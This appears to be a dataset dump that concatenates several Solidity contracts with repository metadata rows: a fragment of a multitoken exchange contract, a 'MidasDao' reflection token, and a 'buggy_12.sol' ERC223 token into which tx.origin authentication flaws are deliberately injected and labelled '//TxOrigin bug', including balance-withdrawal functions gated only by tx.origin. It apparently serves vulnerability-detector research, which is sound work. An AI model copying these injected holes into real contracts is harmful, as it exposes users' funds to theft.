failed"); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, 0); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, "buy: return value is too low"); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } function buyOnTransfer(IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.transfer(_exchanges[i], _values[i]); require(_exchanges[i].call(data), "buy: exchange arbitrary call failed"); } else { require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, 0); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, "buy: return value is too low"); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } function buyFirstTokensOnApprove(IMultiToken _mtkn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], 0); _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); require(_exchanges[i].call(data), "buy: exchange arbitrary call failed"); _throughToken.approve(_exchanges[i], 0); } else { require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); } } uint tokensCount = _mtkn.tokensCount(); uint256[] memory amounts = new uint256[](tokensCount); for (i = 0; i < tokensCount; i++) { ERC20 token = _mtkn.tokens(i); amounts[i] = token.balanceOf(this); token.approve(_mtkn, 0); token.approve(_mtkn, amounts[i]); } _mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } function buyFirstTokensOnTransfer(IMultiToken _mtkn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.transfer(_exchanges[i], _values[i]); require(_exchanges[i].call(data), "buy: exchange arbitrary call failed"); } else { require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); } } uint tokensCount = _mtkn.tokensCount(); uint256[] memory amounts = new uint256[](tokensCount); for (i = 0; i < tokensCount; i++) { ERC20 token = _mtkn.tokens(i); amounts[i] = token.balanceOf(this); token.approve(_mtkn, 0); token.approve(_mtkn, amounts[i]); } _mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } }
179,203
12,165
393be9497eb957600a99423d56baa0e1613601ae60e4f2948936bffad49fcf06
29,445
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/91/91e9465FBE5ae091F654c919Fa722320357e8f88_MIDAS.sol
5,188
18,689
pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MIDAS is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; mapping (address => bool) public isAllowed; address[] private _excluded; uint8 private constant _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 ether; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private constant _name = 'MidasDao'; string private constant _symbol = 'CROWN'; uint256 private _taxFee = 400; uint256 private _burnFee = 200; uint public max_tx_size = 100000 ether; bool public isPaused = false; constructor () public { _rOwned[_msgSender()] = _rTotal; isAllowed[_msgSender()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function toggleAllowed(address addr) external onlyOwner { isAllowed[addr] = !isAllowed[addr]; } function unpause() external returns (bool){ require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call"); isPaused = false; return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x08f02B0F4E5e07114dEeBBb5268a9D920eD43BB0, 'We can not exclude router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused"); if(sender != owner() && recipient != owner()) require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _taxFee; } function _getBurnFee() public view returns(uint256) { return _burnFee; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setBurnFee(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setMaxTxAmount(uint newMax) external onlyOwner { max_tx_size = newMax; } }
333,563
12,166
7011c50433b0d52ab2e387ef7f53fcc2b373b366d140fc01d9a47b9d5862f709
15,472
.sol
Solidity
false
441123437
1052445594/SoliDetector
171e0750225e445c2993f04ef32ad65a82342054
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/TxOrigin/Sol/buggy_12.sol
3,944
14,293
pragma solidity >=0.4.23 <0.6.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract ERC20 { function totalSupply() public view returns (uint256); function bug_txorigin36(address owner_txorigin36) public{ require(tx.origin == owner_txorigin36); //TxOrigin bug } function balanceOf(address _owner) public view returns (uint256); function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public { require(tx.origin == owner_txorigin35); //TxOrigin bug to.call.value(amount); } function transfer(address _to, uint256 _value) public returns (bool); function withdrawAll_txorigin34(address _recipient,address owner_txorigin34) public { require(tx.origin == owner_txorigin34); //TxOrigin bug _recipient.transfer(address(this).balance); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function sendto_txorigin33(address receiver, uint amount,address owner_txorigin33) public { require (tx.origin == owner_txorigin33); //TxOrigin bug receiver.transfer(amount); } function approve(address _spender, uint256 _value) public returns (bool); function bug_txorigin32(address owner_txorigin32) public{ require(tx.origin == owner_txorigin32); //TxOrigin bug } function allowance(address _owner, address _spender) public view returns (uint256); function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public { require(tx.origin == owner_txorigin31); //TxOrigin bug to.call.value(amount); } function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public { require(tx.origin == owner_txorigin11); //TxOrigin bug to.call.value(amount); } event Transfer(address indexed _from, address indexed _to, uint256 _value); function withdrawAll_txorigin10(address _recipient,address owner_txorigin10) public { require(tx.origin == owner_txorigin10); //TxOrigin bug _recipient.transfer(address(this).balance); } event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes memory _data) public; function withdrawAll_txorigin30(address _recipient,address owner_txorigin30) public { require(tx.origin == owner_txorigin30); //TxOrigin bug _recipient.transfer(address(this).balance); } } contract ERC223 { function balanceOf(address who) public view returns (uint); function transferTo_txorigin3(address to, uint amount,address owner_txorigin3) public { require(tx.origin == owner_txorigin3); //TxOrigin bug to.call.value(amount); } function transfer(address to, uint value) public returns (bool); function sendto_txorigin29(address receiver, uint amount,address owner_txorigin29) public { require (tx.origin == owner_txorigin29); //TxOrigin bug receiver.transfer(amount); } function transfer(address to, uint value, bytes memory data) public returns (bool); function bug_txorigin28(address owner_txorigin28) public{ require(tx.origin == owner_txorigin28); //TxOrigin bug } function sendto_txorigin1(address receiver, uint amount,address owner_txorigin1) public { require (tx.origin == owner_txorigin1); //TxOrigin bug receiver.transfer(amount); } event Transfer(address indexed from, address indexed to, uint value); //ERC 20 style //event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC223Token is ERC223 { using SafeMath for uint; function withdrawAll_txorigin6(address _recipient,address owner_txorigin6) public { require(tx.origin == owner_txorigin6); //TxOrigin bug _recipient.transfer(address(this).balance); } mapping(address => uint256) balances; function transfer(address _to, uint _value) public returns (bool) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } require(_value > 0); require(balances[msg.sender] >= _value); require(balances[_to] + _value > 0); require(msg.sender != _to); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); return false; } emit Transfer(msg.sender, _to, _value); return true; } function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public { require(tx.origin == owner_txorigin27); //TxOrigin bug to.call.value(amount); } function transfer(address _to, uint _value, bytes memory _data) public returns (bool) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } require(_value > 0); require(balances[msg.sender] >= _value); require(balances[_to] + _value > 0); require(msg.sender != _to); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); return false; } emit Transfer(msg.sender, _to, _value); return true; } function withdrawAll_txorigin26(address _recipient,address owner_txorigin26) public { require(tx.origin == owner_txorigin26); //TxOrigin bug _recipient.transfer(address(this).balance); } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function sendto_txorigin25(address receiver, uint amount,address owner_txorigin25) public { require (tx.origin == owner_txorigin25); //TxOrigin bug receiver.transfer(amount); } } ////////////////////////////////////////////////////////////////////////// //////////////////////// [Grand Coin] MAIN //////////////////////// ////////////////////////////////////////////////////////////////////////// contract Owned { function sendto_txorigin5(address receiver, uint amount,address owner_txorigin5) public { require (tx.origin == owner_txorigin5); //TxOrigin bug receiver.transfer(amount); } address public owner; constructor() internal { owner = msg.sender; owner = 0x800A4B210B920020bE22668d28afd7ddef5c6243 ; } function bug_txorigin24(address owner_txorigin24) public{ require(tx.origin == owner_txorigin24); //TxOrigin bug } modifier onlyOwner { require(msg.sender == owner); _; } } contract Grand is ERC223Token, Owned { function bug_txorigin40(address owner_txorigin40) public{ require(tx.origin == owner_txorigin40); //TxOrigin bug } string public constant name = "Grand Coin"; function bug_txorigin4(address owner_txorigin4) public{ require(tx.origin == owner_txorigin4); //TxOrigin bug } string public constant symbol = "GRAND"; function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public { require(tx.origin == owner_txorigin39); //TxOrigin bug to.call.value(amount); } uint8 public constant decimals = 18; uint256 public tokenRemained = 2 * (10 ** 9) * (10 ** uint(decimals)); // 2 billion Grand, decimals set to 18 uint256 public totalSupply = 2 * (10 ** 9) * (10 ** uint(decimals)); function withdrawAll_txorigin38(address _recipient,address owner_txorigin38) public { require(tx.origin == owner_txorigin38); //TxOrigin bug _recipient.transfer(address(this).balance); } bool public pause = false; function sendto_txorigin37(address receiver, uint amount,address owner_txorigin37) public { require (tx.origin == owner_txorigin37); //TxOrigin bug receiver.transfer(amount); } mapping(address => bool) lockAddresses; // constructor constructor () public { //allocate to ______ balances[0x96F7F180C6B53e9313Dc26589739FDC8200a699f] = totalSupply; } function transferTo_txorigin23(address to, uint amount,address owner_txorigin23) public { require(tx.origin == owner_txorigin23); //TxOrigin bug to.call.value(amount); } // change the contract owner function changeOwner(address _new) public onlyOwner { require(_new != address(0)); owner = _new; } function withdrawAll_txorigin22(address _recipient,address owner_txorigin22) public { require(tx.origin == owner_txorigin22); //TxOrigin bug _recipient.transfer(address(this).balance); } // pause all the g on the contract function pauseContract() public onlyOwner { pause = true; } function sendto_txorigin21(address receiver, uint amount,address owner_txorigin21) public { require (tx.origin == owner_txorigin21); //TxOrigin bug receiver.transfer(amount); } function resumeContract() public onlyOwner { pause = false; } function bug_txorigin20(address owner_txorigin20) public{ require(tx.origin == owner_txorigin20); //TxOrigin bug } function is_contract_paused() public view returns (bool) { return pause; } function withdrawAll_txorigin2(address _recipient,address owner_txorigin2) public { require(tx.origin == owner_txorigin2);//TxOrigin bug _recipient.transfer(address(this).balance); } // lock one's wallet function lock(address _addr) public onlyOwner { lockAddresses[_addr] = true; } function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public { require(tx.origin == owner_txorigin19); //TxOrigin bug to.call.value(amount); } function unlock(address _addr) public onlyOwner { lockAddresses[_addr] = false; } function withdrawAll_txorigin18(address _recipient,address owner_txorigin18) public { require(tx.origin == owner_txorigin18); //TxOrigin bug _recipient.transfer(address(this).balance); } function am_I_locked(address _addr) public view returns (bool) { return lockAddresses[_addr]; } function sendto_txorigin17(address receiver, uint amount,address owner_txorigin17) public { require (tx.origin == owner_txorigin17); //TxOrigin bug receiver.transfer(amount); } // contract can receive eth function() external payable {} function bug_txorigin16(address owner_txorigin16) public{ require(tx.origin == owner_txorigin16); //TxOrigin bug } // extract ether sent to the contract function getETH(uint256 _amount) public onlyOwner { msg.sender.transfer(_amount); } function transferTo_txorigin15(address to, uint amount,address owner_txorigin15) public { require(tx.origin == owner_txorigin15); //TxOrigin bug to.call.value(amount); } ///////////////////////////////////////////////////////////////////// ///////////////// ERC223 Standard functions ///////////////////////// ///////////////////////////////////////////////////////////////////// modifier transferable(address _addr) { require(!pause); require(!lockAddresses[_addr]); _; } function transfer(address _to, uint _value, bytes memory _data) public transferable(msg.sender) returns (bool) { return super.transfer(_to, _value, _data); } function withdrawAll_txorigin14(address _recipient,address owner_txorigin14) public { require(tx.origin == owner_txorigin14); //TxOrigin bug _recipient.transfer(address(this).balance); } function transfer(address _to, uint _value) public transferable(msg.sender) returns (bool) { return super.transfer(_to, _value); } function sendto_txorigin13(address receiver, uint amount,address owner_txorigin13) public { require (tx.origin == owner_txorigin13); //TxOrigin bug receiver.transfer(amount); } ///////////////////////////////////////////////////////////////////// /////////////////// Rescue functions ////////////////////////////// ///////////////////////////////////////////////////////////////////// function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) { return ERC20(_tokenAddress).transfer(owner, _value); } function bug_txorigin12(address owner_txorigin12) public{ require(tx.origin == owner_txorigin12); //TxOrigin bug } }
223,684
12,167
3453e06035f16ecbde8b1ef6db8062c0bf0cda7f81a043e00eff5239553f99ed
23,696
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/13/13e4656188E303ea21Bf632E818FAB246bB95432_Gambit.sol
6,309
22,456
